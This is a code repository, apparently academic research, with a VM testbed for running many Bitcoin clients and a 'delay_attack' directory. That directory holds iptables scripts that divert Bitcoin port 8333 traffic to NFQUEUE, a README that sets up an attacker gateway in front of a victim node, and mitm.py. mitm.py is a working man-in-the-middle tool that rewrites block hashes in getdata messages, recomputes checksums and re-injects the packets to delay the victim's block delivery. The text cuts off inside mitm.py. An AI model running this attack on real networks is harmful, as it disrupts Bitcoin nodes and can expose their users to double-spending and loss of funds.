├── testbed ├── ub1404 │ ├── README.md │ └── ub1404golden │ │ └── README.md ├── namespace ├── Makefile ├── README.md ├── cloneCtrl.py └── MRUN.py └── delay_attack ├── disable_nfd.sh ├── enable_nfq0.sh ├── README.md └── mitm.py /testbed/ub1404/README.md: -------------------------------------------------------------------------------- 1 | # Directory with all images of vms 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /testbed/ub1404/ub1404golden/README.md: -------------------------------------------------------------------------------- 1 | # Directory for golden image 2 | check readme of the testbed directory 3 | -------------------------------------------------------------------------------- /delay_attack/disable_nfd.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables -F 4 | iptables -X 5 | iptables -F -t nat 6 | iptables -X -t nat 7 | 8 | # todo: do the same for mangel and ipv6 9 | 10 | echo 1 > /proc/sys/net/ipv4/ip_forward 11 | 12 | 13 | 14 | 15 | iptables -t nat -A POSTROUTING -s 20.0.0.0/24 -o eth0 -j MASQUERADE 16 | 17 | iptables -A FORWARD -j LOG --log-level 2 --log-prefix pkt_in_fwd -------------------------------------------------------------------------------- /delay_attack/enable_nfq0.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables -F 4 | iptables -X 5 | iptables -F -t nat 6 | iptables -X -t nat 7 | 8 | # todo: do the same for mangel and ipv6 9 | 10 | echo 1 > /proc/sys/net/ipv4/ip_forward 11 | 12 | iptables -A FORWARD -p tcp --dport 8333 -j NFQUEUE 13 | 14 | 15 | 16 | iptables -t nat -A POSTROUTING -s 20.0.0.0/24 -o eth0 -j MASQUERADE 17 | 18 | iptables -A FORWARD -j LOG --log-level 2 --log-prefix pkt_in_fwd 19 | 20 | -------------------------------------------------------------------------------- /testbed/namespace: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | 5 | for i in {1..5}; 6 | do 7 | echo ip netns add ns_eth$i 8 | ip netns add ns_eth$i 9 | echo 10 | 11 | echo ip link set eth$i netns ns_eth$i 12 | ip link set eth$i netns ns_eth$i 13 | 14 | echo ip netns exec ns_eth$i ip link set eth$i up 15 | ip netns exec ns_eth$i ip link set eth$i up 16 | 17 | echo ip netns exec ns_eth$i dhclient eth$i 18 | ip netns exec ns_eth$i dhclient eth$i 19 | ip netns exec ns_eth$i ifconfig lo 127.0.0.1 up 20 | done 21 | -------------------------------------------------------------------------------- /delay_attack/README.md: -------------------------------------------------------------------------------- 1 | # Man in The Middle Software 2 | 3 | 4 | ## Experimental Set-up 5 | 6 | ___MiTM___ 7 | | | 8 | | nfq | 9 | | | 10 | Btc Network |<-------------- | GATEWAY |<--------------- Victim 11 | --------------> | |---------------> (20.0.0.X) 12 | (82.2.X.Y) (20.0.0.1) 13 | 14 | 15 | 16 | 17 | 18 | To run this you will need two Ubuntu machines connected via an Ethernet cable. One machine will act as a Victim and the other as the Man In the Middle. 19 | 20 | 21 | 22 | ### Attacker 23 | The attacker node also runs on a regular ubuntu machine and acts as gateway to the victim. 24 | It has a public IP in eth0 and private IP, namely 20.0.0.1, in eth1. 25 | 26 | In the attacker's machine add IP address to the interface in which the cable is connected. 27 | 28 | $ sudo ip addr add 20.0.0.1/24 dev eth1 29 | 30 | 31 | 32 | ### Victim 33 | The victim node runs the Bitcoin software v0.12.1. on a regular Ubuntu machine. 34 | The victim has only one private IP in the range 20.0.0.0/24 35 | and uses the gateway to connect to the Internet. 36 | 37 | In the victim's machine, add an IP address and a gateway. 38 | 39 | $ sudo ip addr add 20.0.0.9/24 dev eth0 40 | $ sudo route add default gw 20.0.0.1 eth0 41 | 42 | Start the bitcoin client if it is not already running. 43 | 44 | 45 | Start the attacker's software (in the attacker's machine) 46 | 47 | $ sudo python mitm.py 48 | 49 | 50 | Enable forwarding of Bitcoin traffic to the NFQ 51 | 52 | $ sudo ./enable_nfq0.sh 53 | 54 | Disable forwarding of Bitcoin traffic to the NFQ 55 | 56 | $ sudo ./disable_nfd.sh 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /testbed/Makefile: -------------------------------------------------------------------------------- 1 | 2 | BITCOIND=bitcoind 3 | BITCOINCLI=bitcoin-cli 4 | B1_FLAGS= 5 | B2_FLAGS= 6 | B1=-datadir=1 $(B1_FLAGS) 7 | B2=-datadir=2 $(B2_FLAGS) 8 | B3=-datadir=3 $(B1_FLAGS) 9 | B4=-datadir=4 $(B2_FLAGS) 10 | B5=-datadir=5 $(B1_FLAGS) 11 | 12 | 13 | 14 | BLOCKS=1 15 | ADDRESS= 16 | AMOUNT= 17 | ACCOUNT= 18 | 19 | startall: 20 | $(BITCOIND) $(B1) -daemon -debug 21 | $(BITCOIND) $(B2) -daemon -debug 22 | $(BITCOIND) $(B3) -daemon -debug 23 | $(BITCOIND) $(B4) -daemon -debug 24 | $(BITCOIND) $(B5) -daemon -debug 25 | 26 | 27 | start1: 28 | sudo ip netns exec ns_eth1 $(BITCOIND) $(B1) -daemon -debug 29 | 30 | start2: 31 | sudo ip netns exec ns_eth2 $(BITCOIND) $(B2) -daemon -debug 32 | 33 | start3: 34 | sudo ip netns exec ns_eth3 $(BITCOIND) $(B3) -daemon -debug 35 | 36 | start4: 37 | sudo ip netns exec ns_eth4 $(BITCOIND) $(B4) -daemon -debug 38 | 39 | start5: 40 | sudo ip netns exec ns_eth5 $(BITCOIND) $(B5) -daemon -debug 41 | 42 | 43 | 44 | start-gui: 45 | $(BITCOINGUI) $(B1) & 46 | $(BITCOINGUI) $(B2) & 47 | 48 | generate1: 49 | sudo ip netns exec ns_eth1 $(BITCOINCLI) $(B1) setgenerate true $(BLOCKS) 50 | 51 | 52 | generate2: 53 | sudo ip netns exec ns_eth2 $(BITCOINCLI) $(B2) setgenerate true $(BLOCKS) 54 | 55 | 56 | generate3: 57 | sudo ip netns exec ns_eth3 $(BITCOINCLI) $(B3) setgenerate true $(BLOCKS) 58 | 59 | 60 | generate4: 61 | sudo ip netns exec ns_eth4 $(BITCOINCLI) $(B4) setgenerate true $(BLOCKS) 62 | 63 | 64 | generate5: 65 | sudo ip netns exec ns_eth5 $(BITCOINCLI) $(B5) setgenerate true $(BLOCKS) 66 | 67 | 68 | 69 | 70 | getinfo: 71 | $(BITCOINCLI) $(B1) getinfo 72 | $(BITCOINCLI) $(B1) getpeerinfo 73 | getpeernum: 74 | $(BITCOINCLI) $(B0) getpeerinfo | grep id | wc -l 75 | $(BITCOINCLI) $(B1) getpeerinfo | grep id | wc -l 76 | 77 | getpeers: 78 | $(BITCOINCLI) $(B1) getpeerinfo | grep addr 79 | 80 | send: 81 | $(BITCOINCLI) $(B1) sendtoaddress $(ADDRESS) $(AMOUNT) 82 | 83 | address: 84 | $(BITCOINCLI) $(B1) getnewaddress $(ACCOUNT) 85 | 86 | 87 | 88 | stop1: 89 | sudo ip netns exec ns_eth1 $(BITCOINCLI) $(B1) stop 90 | stop2: 91 | sudo ip netns exec ns_eth2 $(BITCOINCLI) $(B2) stop 92 | stop3: 93 | sudo ip netns exec ns_eth3 $(BITCOINCLI) $(B3) stop 94 | stop4: 95 | sudo ip netns exec ns_eth4 $(BITCOINCLI) $(B4) stop 96 | stop5: 97 | sudo ip netns exec ns_eth5 $(BITCOINCLI) $(B5) stop 98 | 99 | stopall: 100 | $(BITCOINCLI) $(B0) stop 101 | $(BITCOINCLI) $(B1) stop 102 | $(BITCOINCLI) $(B2) stop 103 | $(BITCOINCLI) $(B3) stop 104 | $(BITCOINCLI) $(B4) stop 105 | $(BITCOINCLI) $(B5) stop 106 | $(BITCOINCLI) $(B6) stop 107 | $(BITCOINCLI) $(B7) stop 108 | 109 | 110 | clean: 111 | find 1/regtest/* -not -name 'server.*' -delete 112 | find 2/regtest/* -not -name 'server.*' -delete -------------------------------------------------------------------------------- /testbed/README.md: -------------------------------------------------------------------------------- 1 | # VM testbed 2 | ___Requirements___ 3 | 4 | $ sudo apt-get install qemu-kvm 5 | $ sudo apt-get install x11-apps virt-manager 6 | 7 | 8 | ### Build the required repositories 9 | 10 | $ mkdir out; mkdir in; mkdir conf; mkdir _dumps 11 | $ mkdir -p ub1404/BASE 12 | 13 | Download the the [image](https://www.dropbox.com/s/yjme2vtyj5043qe/ub1404_golden.qcow2?dl=0 14 | ) and the [configurations](https://www.dropbox.com/s/i2800iifq1j2947/ub1404_golden.xml?dl=0). Copy them to testbed/ub1404/ub1404_golden/ 15 | 16 | 17 | 18 | 19 | ### Add your key to the golden image 20 | 21 | Type virt-manager to the server and start the ub1404_golden vm. 22 | Connect to it and copy your public key to the .ssh/config/authorizedkeys. 23 | if you don't do that when you will be asked to give a passworrd when you ssh into the vms you will create. 24 | 25 | ### Add 5 more interfecase to the goldenimage 26 | 27 | $ cd golden ub1404/ub1404_golden/ 28 | $ virsh define ub1404_golden.xml 29 | $ ./cloneCtrl.py newBase 30 | 31 | 32 | ## Set-up VMs 33 | The following instructions willl help you create N vms.
34 | Each of these will by default run 5 clients.
35 | 36 | $ chmod +x MRUN.py 37 | Create N vms with indeces 1 to N. 38 | 39 | $ sudo ./MRUN.py make_hosts 1 N 40 | 41 | Randomely selects IPs for each client. Saves mapping in the 'in' directory.
42 | Create suitable xml to let vitrtmanger create the networks.
43 | Updates the ssh/config of the server to allow easy ssh to the vm.
44 | 45 | $ sudo ./MRUN.py write_nets 1 N new 46 | 47 | Create all networks, asign them to vms and start them. 48 | 49 | $ sudo ./MRUN.py create_nets 1 N 50 | $ sudo ./MRUN.py asign 1 N 51 | $ sudo ./MRUN.py start_vms 1 N 52 | 53 | 54 | You should be able to connect to a vm simply by typing ssh vmX (X == the index of your vm). If you are asked for a password then you have not added your public key in the golden image. 55 | 56 | 57 | ## Run Bitcoin clients 58 | 59 | If you are useing our golden image the 60 | [bitcoin-testnet-box](https://github.com/freewil/bitcoin-testnet-box) will already be in each vm.
61 | Still we need to change the owner of the Bitcoin directory.
62 | 63 | $ ./MRUN.py chown 1 N 64 | $ chmod +x namespace 65 | $ cp namespace conf/*/ 66 | $ chmod +x Makefile 67 | $ cp Makefile conf/*/ 68 | 69 | Change the configuration of the clients to run using a specific IP.
70 | Copy using rsync the custimozed for each vm configuration. 71 | 72 | $ sudo ./MRUN.py bind 1 N 73 | $ ./MRUN.py rsync 1 N 74 | 75 | Create namespaces in each VM to allow multiple *independent* clients per VM
76 | 77 | $ ./MRUN.py ns 1 N 78 | 79 | 80 | 81 | Start the bitcoin clients in each VM
82 | 83 | $ ./MRUN.py run_start 1 N 84 | 85 | Instruct the nodes to establish k random connections 86 | Note that their peers.dat is empty in the first run. 87 | 88 | $ ./MRUN.py new_connections 1 N k 89 | 90 | 91 | In the MRUN.py change the controller='TO_BE_CHANGED'. Select one vm to be the controller, the controller is used to request Bitcoin status from each vm 92 | 93 | You can use 'giveme' to access the [API of each Bitcoin client](https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list). 94 | For instance the following will return the client's peers, the blockchain length and object containing various state info respectively of the third client running on vm 1 95 | 96 | $ ./MRUN.py giveme 1 3 getpeerinfo 97 | $ ./MRUN.py giveme 1 3 'getblockcount' 98 | $ ./MRUN.py giveme 1 3 getinfo 99 | 100 | 101 | ## Destroy vms 102 | The testbed will consume a lot of resources of the sever make sure you clean it properly. 103 | 104 | $ ./MRUN.py stop_btc 1 N 105 | $ ./MRUN.py stop_hosts 1 N 106 | $ ./MRUN.py delete_nets 1 N 107 | $ sudo ./MRUN.py delete_hosts 1 N 108 | 109 | ## Please contact me if you have questions 110 | apmaria at ethz dot ch 111 | -------------------------------------------------------------------------------- /testbed/cloneCtrl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #based on code developed by David Gugelmann 3 | import sys 4 | import os 5 | import re 6 | import shutil 7 | import datetime 8 | import time 9 | 10 | ROOT_DIR = './ub1404' 11 | GOLDEN_DOMAIN = 'ub1404_golden' 12 | IMAGE_DOMAIN_PREFIX = 'ub1404-' 13 | 14 | def run(cmd, remoteHost=None): 15 | '''Executes command on local host if remoteHost==None or on remoteHost using ssh. 16 | Output of command is not redirected. 17 | Raises an exception of type 'CalledProcessError' if the exit status of the command is not 0 (this also works when using ssh) 18 | ''' 19 | import subprocess 20 | if remoteHost: 21 | #cmd = '/usr/bin/ssh %s %s' % (remoteHost, cmd) 22 | cmd = '/usr/bin/ssh %s \'%s\'' % (remoteHost, cmd) 23 | subprocess.check_call(cmd, shell=True) 24 | 25 | 26 | 27 | 28 | def test(): 29 | print "hello" 30 | return 31 | 32 | 33 | 34 | def runo(cmd, remoteHost=None): 35 | '''Executes command on local host if remoteHost==None or on remoteHost using ssh. 36 | Raises an exception of type 'CalledProcessError' if the exit status of the command is not 0 (this also works when using ssh). 37 | In the case of an exception, the output is available in 'CalledProcessError.out'. 38 | @return: (stdout, stderr) of command 39 | ''' 40 | import subprocess 41 | if remoteHost: 42 | cmd = '/usr/bin/ssh %s \'%s\'' % (remoteHost, cmd) 43 | #cmd = '/usr/bin/ssh %s %s' % (remoteHost, cmd) 44 | p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr = subprocess.PIPE) 45 | out = p.communicate() 46 | if p.returncode != 0: 47 | e = subprocess.CalledProcessError(p.returncode, cmd) 48 | e.out = out 49 | raise e 50 | return out 51 | #stdout=subprocess.PIPE 52 | def runb(cmd, remoteHost=None,shell=True): 53 | import subprocess, os 54 | assert (shell or type (cmd) is list), "shell==True with string or shell==False with list " 55 | global runb_running_processes_x023xmbhhm218b48xng 56 | if remoteHost: 57 | cmd = '/usr/bin/ssh %s %s' % (remoteHost, cmd) 58 | #cmd = '/usr/bin/ssh %s \'%s\'' % (remoteHost, cmd) 59 | p = subprocess.Popen(cmd, shell=shell, preexec_fn=os.setsid) 60 | print p.pid 61 | # ^-- The os.setsid() is passed in the argument preexec_fn so 62 | # it's run after the fork() and before exec() to run the shell. 63 | # Otherwise only the shelreloadl but not the cmd is killed on p.kill(). 64 | # [ http://stackoverflow.com/questions/4789837/how-to-terminate-a-python-subprocess-launched-with-shell-true ] 65 | try: runb_running_processes_x023xmbhhm218b48xng.append((p, cmd)) 66 | except NameError: runb_running_processes_x023xmbhhm218b48xng = [(p, cmd)] 67 | return p 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | def newBase(): 77 | c1 = CloneCtrl(ROOT_DIR, GOLDEN_DOMAIN) 78 | c1.copyMainToBase() 79 | 80 | 81 | def clone(nbrClones, suffixes): 82 | c1 = CloneCtrl(ROOT_DIR, GOLDEN_DOMAIN) 83 | id = c1.getFreeId() 84 | for s in suffixes: 85 | for t in range(nbrClones): 86 | c1.createNewImageBasedOnNewestBaseAndRegisterIt(id, IMAGE_DOMAIN_PREFIX) 87 | #start('%s%i' % (IMAGE_DOMAIN_PREFIX, id)) 88 | id = id + 1 89 | 90 | 91 | def start(domain): 92 | run('%s start %s' % (CloneCtrl.VIR, domain)) 93 | 94 | 95 | def stop(domain): 96 | run('%s destroy %s' % (CloneCtrl.VIR, domain)) 97 | 98 | 99 | def stopAndDelete(domain): 100 | if len(re.compile("\d+$").findall(domain)) != 1: 101 | raise Exception('Only domain names ending with a number may be destroyed and deleted!') # make sure that golden domains can not be deleted accidentially 102 | cc = CloneCtrl('/tmp', domain) # rootDir does not matter 103 | if domain in cc.getRunningDomains(): 104 | stop(domain) 105 | run('%s undefine %s' % (CloneCtrl.VIR, domain)) 106 | os.remove(cc.mainImage) 107 | os.rmdir(os.path.dirname(cc.mainImage)) 108 | 109 | 110 | def mount(domain): 111 | cc = CloneCtrl('/tmp', domain) # rootDir does not matter 112 | cc.mountImage(cc.mainImage, 2) 113 | out("'%s' mounted on '%s'" % (cc.mainImage, cc.IMAGE_MOUNT_PATH)) 114 | 115 | 116 | def umount(domain): 117 | cc = CloneCtrl('/tmp', domain) 118 | cc.umountImage() 119 | 120 | 121 | def main(): 122 | try: cmd = sys.argv[1] 123 | except: usage() 124 | 125 | if cmd == 'newBase': 126 | newBase() 127 | elif cmd == 'clone': 128 | try: nbrClones = int(sys.argv[2]) 129 | except: usage() 130 | suffixes = sys.argv[3:] 131 | if not len(suffixes): usage() 132 | clone(nbrClones, suffixes) 133 | else: 134 | try: domain = sys.argv[2] 135 | except: usage() 136 | 137 | if cmd == 'start': 138 | start(domain) 139 | elif cmd == 'stop': 140 | stop(domain) 141 | elif cmd == 'stopAndDelete': 142 | stopAndDelete(domain) 143 | elif cmd == 'mount': 144 | mount(domain) 145 | elif cmd == 'umount': 146 | umount(domain) 147 | else: 148 | usage() 149 | 150 | def usage(): 151 | sys.stderr.write('usage: %s newBase | clone [... ] | start | stop | stopAndDelete | mount | umount \n' % sys.argv[0]) 152 | sys.exit(-1) 153 | 154 | 155 | 156 | 157 | def out(str): 158 | print str 159 | 160 | 161 | 162 | 163 | 164 | ## end helpers 165 | 166 | class CloneCtrl(): 167 | VIR = '/usr/bin/virsh -c qemu:///system' 168 | QEMU_IMG = '/usr/bin/qemu-img' 169 | VIRT_CLONE = '/usr/bin/virt-clone --connect=qemu:///system' 170 | KVM_NBD = '/usr/bin/qemu-nbd' 171 | MOUNT = '/bin/mount' 172 | UMOUNT = '/bin/umount' 173 | 174 | IMAGE_STORAGE_HOST = 'pisco' 175 | BASE_IMAGE_PREFIX = 'BASE' 176 | IMAGE_FORMAT = 'qcow2' 177 | IMAGE_MOUNT_PATH = '/tmp/image' 178 | 179 | def __init__(self, rootDir, mainDomain): 180 | self.cmdHost = None 181 | if runo('hostname')[0].rstrip() != self.IMAGE_STORAGE_HOST: 182 | self.cmdHost = self.IMAGE_STORAGE_HOST 183 | 184 | if shutil.abspath(rootDir) != rootDir: 185 | Exception('Absolute base path required!') 186 | self.rootDir = shutil.abspath(rootDir) # removes trailing slashes 187 | self.baseDir = '%s/%s' % (self.rootDir, self.BASE_IMAGE_PREFIX) 188 | self.mainDomain = mainDomain 189 | 190 | self.mainImage = self.getImagePathForDomain(self.mainDomain) 191 | 192 | 193 | def getImagePathForDomain(self, domain): 194 | out = runo('%s dumpxml %s' % (self.VIR, domain), self.cmdHost)[0] 195 | imgs = re.compile("").findall(out) 196 | assert(len(imgs) == 1), imgs 197 | assert(imgs[0].endswith(self.IMAGE_FORMAT)) 198 | return imgs[0] 199 | 200 | def getRunningDomains(self): 201 | domains = [] 202 | out = runo('%s list' % self.VIR, self.cmdHost)[0] 203 | for r in out.split('\n'): 204 | s = r.split() 205 | if len(s) == 3 and s[1] != 'Name': 206 | domains.append(s[1]) 207 | return domains 208 | 209 | 210 | def copyMainToBase(self): 211 | if self.mainDomain in self.getRunningDomains(): 212 | raise Exception('Golden domain still running! Shut it down first!') 213 | assert(os.path.isdir(self.baseDir)), "create '%s' if you run this scirpt for the first time, otherwise check why this folder is missing!" % self.baseDir 214 | dt = datetime.datetime.today().strftime("%Y%m%d_%H%M%S") 215 | dst = '%s/%s-%s.%s' % (self.baseDir, self.mainDomain, dt, self.IMAGE_FORMAT) 216 | out("copying golden image '%s' to base '%s'" % (self.mainImage, dst)) 217 | shutil.copyfile(self.mainImage, dst) 218 | 219 | 220 | def createNewImageBasedOnNewestBaseAndRegisterIt(self, id, prefix): 221 | '''@see http://www.linux-kvm.com/content/how-you-can-use-qemukvm-base-images-be-more-productive-part-1 222 | 223 | 1) we clone the image using a template base image 224 | 2) we use virt-clone with the preserve-data option set to create a libvirt config for the new image based on the golden image config 225 | 226 | use qemu-img info to show info 227 | ''' 228 | print self.baseDir 229 | assert(os.path.isdir(self.baseDir)) 230 | baseImage = self.baseDir + '/' + sorted(os.listdir(self.baseDir))[-1] 231 | domain = prefix + str(id) 232 | dstDir = '%s/%s' % (self.rootDir, id) 233 | if os.path.isdir(dstDir): 234 | raise Exception("'%s' already exists!" % dstDir) 235 | os.mkdir(dstDir) 236 | dst = '%s/img.%s' % (dstDir, self.IMAGE_FORMAT) 237 | out("creating image '%s' based on '%s'" % (dst, baseImage)) 238 | run('%s create -b %s -f %s %s' % (self.QEMU_IMG, baseImage, self.IMAGE_FORMAT, dst)) 239 | run('%s -o %s -n %s --preserve-data -f %s' % (self.VIRT_CLONE, self.mainDomain, domain, dst)) 240 | 241 | 242 | def mountImage(self, imagePath, partition_nbr=1): 243 | '''@see http://tjworld.net/wiki/Linux/MountQemuQcowImages 244 | @see http://blog.loftninjas.org/2008/10/27/mounting-kvm-qcow2-qemu-disk-images/ 245 | 246 | ONLY ONE IMAGE CAN BE MOUNTED AT A TIME BECAUSE WE ALWAYS USE '/dev/nbd0' AND A FIXED IMAGE_MOUNT_PATH 247 | 248 | In case of errors, try to install sudo apt-get install nbd-client. 249 | 250 | ''' 251 | run('sudo modprobe nbd') 252 | try: 253 | os.mkdir(self.IMAGE_MOUNT_PATH) 254 | except: 255 | pass 256 | run('sudo %s -c /dev/nbd0 %s' % (self.KVM_NBD, imagePath)) 257 | for i in range(5): # device is sometimes not ready 258 | time.sleep(2**i) 259 | try: 260 | run('sudo %s /dev/nbd0p%i %s' % (self.MOUNT, partition_nbr, self.IMAGE_MOUNT_PATH)) 261 | break 262 | except: 263 | pass 264 | 265 | 266 | def umountImage(self): 267 | run('sudo %s %s' % (self.UMOUNT, self.IMAGE_MOUNT_PATH)) 268 | runo('sudo %s -d /dev/nbd0' % (self.KVM_NBD)) # prints each time /dev/nbd0 disconnected 269 | 270 | 271 | def setName(self, domain, name): 272 | self.mountImage(self.getImagePathForDomain(domain)) 273 | nameFile = '%s/%s.name' % (self.IMAGE_MOUNT_PATH, name) 274 | open(nameFile, 'w').close() # touch the python way :-) 275 | self.umountImage() 276 | 277 | 278 | def getFreeId(self): 279 | id = 215 280 | print self.rootDir 281 | for f in sorted(os.listdir(self.rootDir)): 282 | try: i = int(f) 283 | except: continue 284 | if i >= id: 285 | id = i+1 286 | 287 | return id 288 | 289 | if __name__ == '__main__': 290 | main() 291 | -------------------------------------------------------------------------------- /delay_attack/mitm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import time 4 | import os,sys,nfqueue,socket 5 | from scapy.all import * 6 | import datetime 7 | from time import gmtime, strftime 8 | import argparse 9 | sys.path.insert(0, '/home/user/code/lib/python') 10 | import subprocess 11 | import helpers 12 | import time 13 | import logging 14 | import random 15 | from multiprocessing import Process, Pipe 16 | import re 17 | sys.path.insert(0, '/home/user/scapy-bitcoin/') 18 | import bitcoin 19 | import hexdump as q 20 | import hashlib 21 | sys.path.insert(0, '/home/user/scapy-bitcoin/') 22 | from threading import Thread 23 | 24 | OUTDIR='./' 25 | logging.basicConfig(filename=OUTDIR+'debug.log',level=logging.DEBUG) 26 | parser = argparse.ArgumentParser() 27 | parser.add_argument("prop", type=float, help="propability the attacker is on-path") 28 | args = parser.parse_args() 29 | prop=args.prop 30 | 31 | 32 | 33 | 34 | conf.verbose = 0 35 | conf.L3socket = L3RawSocket 36 | seqs=set() 37 | threads={} 38 | write_to={} 39 | delay=19 40 | getdata_any=re.compile('676574646174610000000000') 41 | block_getdata = re.compile('676574646174610000000000.*02000000') # precompliled regular expression for block getdata 42 | 43 | class Reader(Thread): 44 | def __init__(self, read_from,dst): 45 | super(Reader, self).__init__() 46 | self.daemon = True 47 | self.cancelled = False 48 | self.pipe=read_from 49 | self.buff=[] 50 | self.name=dst 51 | self.modified=False 52 | self.copy=None 53 | self.hashes={} #hash--> replaced with hash 54 | self.cur_pkt=None 55 | self.tup=None 56 | self.getdata_seq={} 57 | self.hashes={} 58 | 59 | def run(self): 60 | ''' 61 | one thread is responsible for each bitcoin peer 62 | reads for assigned pipe and either changes the hash of the requested block to an old one (modify_hash) 63 | or the hash of the requested transaction back to the requested block 64 | ''' 65 | while not self.cancelled: 66 | (frame_data, to_do) = self.pipe.recv() 67 | now = datetime.datetime.now() 68 | pkt=IP(frame_data) 69 | self.tup=(pkt.dst,pkt.id,pkt.len,pkt.seq) 70 | self.cur_pkt=pkt 71 | self.modified=False 72 | seq=pkt.seq 73 | #There might be multiple bitcoin message stored in a list of BitcoinHdrs in the packet 74 | #or just one message BitcoinHdr 75 | try: 76 | hdrs=self.cur_pkt[bitcoin.BitcoinHdrs] 77 | for i in range(len(hdrs.messages)): 78 | p=hdrs.messages[i] 79 | try: 80 | getdata=p[bitcoin.BitcoinGetdata] 81 | if to_do=='modify_hash': 82 | self.modify_hash(p) 83 | elif to_do=='restore_hash' and len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60 : 84 | self.restore_hash(p, str(self.buff[0][0]) ) 85 | 86 | except Exception as e: 87 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['is not a getdata', str(e)] 88 | logging.error('\t'.join(ftuple)) 89 | 90 | 91 | self.send() 92 | 93 | except Exception as e: 94 | pass 95 | 96 | try: 97 | p=self.cur_pkt[bitcoin.BitcoinHdr] 98 | try: 99 | getdata=p[bitcoin.BitcoinGetdata] 100 | if to_do=='modify_hash': 101 | self.modify_hash(p) 102 | elif to_do=='restore_hash' and len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60 : 103 | self.restore_hash(p, str(self.buff[0][0]) ) 104 | 105 | except Exception as e: 106 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['is not a getdata', str(e)] 107 | logging.error('\t'.join(ftuple)) 108 | self.send() 109 | except Exception as e: 110 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['is a Segment / has no bitcoin Header', str(e)] 111 | logging.error('\t'.join(ftuple)) 112 | self.send() 113 | 114 | 115 | 116 | 117 | 118 | def checksum(self,bitcoin_inv): 119 | ''' 120 | we need to recompute the Bitcoin checksum 121 | otherwise the packet will be ignored by the bitcoin peer 122 | ''' 123 | now=datetime.datetime.now() 124 | try: 125 | p=str(bitcoin_inv).encode("HEX") 126 | payload=hx.restore(p) 127 | check=(hashlib.sha256(hashlib.sha256(payload).digest())).hexdigest() 128 | except Exception as e: 129 | logging.debug('\t'.join(['ERROR checksum',e])) 130 | 131 | return check[:8] 132 | 133 | def modify_hash(self,bitcoin_hdr): 134 | now=datetime.datetime.now() 135 | inv=bitcoin_hdr[bitcoin.BitcoinGetdata] 136 | #can easily ask for more than 1 block in this case it asks multiple times for the same 137 | 138 | for i in range(len(inv.inventroy)): 139 | h=str(inv.inventroy[i].hash).encode('HEX') 140 | try: 141 | if inv.inventroy[i].type == 2: # 142 | self.modified=True 143 | 144 | if h in self.hashes: 145 | old_hash=self.hashes[h] 146 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change again hash ',h[:5],str(self.modified)] 147 | fftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change again hash ',h[:5],str(self.modified)] 148 | logging.debug('\t'.join(ftuple)) 149 | 150 | 151 | if len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60: 152 | old_hash= self.buff.pop(0)[0] 153 | #self.[h]=old_hash 154 | self.buff.append((h ,now) ) 155 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change & restore ',h[:5],old_hash[:5],str(self.modified)] 156 | fftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change & restore ',h[:5],old_hash[:5],str(self.modified)] 157 | logging.debug('\t'.join(ftuple)) 158 | 159 | else: 160 | old_hash='74152c6daea4075eff3cf06b59a1850ed3192555b1aa824be597a39a03ec18e5' 161 | #self.hashes[h]=old_hash 162 | self.buff.append((h ,now) ) 163 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change with generic ',h[:5],str(self.modified)] 164 | fftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change with generic ',h[:5],str(self.modified)] 165 | logging.debug('\t'.join(ftuple)) 166 | inv.inventroy[i].hash=hx.restore(old_hash) 167 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16) 168 | 169 | elif len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60: 170 | inv.inventroy[i].type = 2 171 | self.modified=True 172 | old_hash= self.buff.pop(0)[0] 173 | #self.hashes[h]=old_hash 174 | inv.inventroy[i].hash=hx.restore(old_hash) 175 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16) 176 | 177 | elif h in self.hashes: 178 | inv.inventroy[i].type = 2 179 | self.modified=True 180 | #self.hashes[h]=old_hash 181 | inv.inventroy[i].hash=hx.restore(h) 182 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16) 183 | 184 | 185 | ftuple=fftuple+['finished ok'] 186 | logging.debug('\t'.join(ftuple)) 187 | except Exception as e: 188 | logging.debug('\t'.join(['error in modify_hash',e])) 189 | return 190 | 191 | def restore_hash(self,bitcoin_hdr,discarded ): 192 | now=datetime.datetime.now() 193 | inv=bitcoin_hdr[bitcoin.BitcoinGetdata] 194 | if len(inv.inventroy) != inv.count: 195 | return 196 | for i in range(inv.count): 197 | if inv.inventroy[i].type == 1: 198 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + [' restore ',discarded[:5],str(self.modified)] 199 | try: 200 | inv.inventroy[i].type = 2 201 | self.modified=True 202 | inv.inventroy[i].hash=hx.restore(discarded) 203 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16) 204 | self.buff.pop(0) 205 | break 206 | except Exception as e: 207 | print 'ERROR restore_hash',e 208 | return 209 | def send(self): 210 | now=datetime.datetime.now() 211 | ftuple = [str(now)[11:16]]+map(str, list(self.tup)) + ['should send',str(self.modified)] 212 | logging.debug('\t'.join(ftuple)) 213 | self.getdata_seq[self.cur_pkt.seq]=( self.getdata_seq[self.cur_pkt.seq][0],(self.cur_pkt[TCP].payload).copy()) 214 | try: 215 | if self.modified: 216 | del self.cur_pkt[IP].chksum 217 | del self.cur_pkt[TCP].chksum 218 | 219 | send(self.cur_pkt,iface='eth0') 220 | ftuple =[str(now)[11:16]]+map(str, 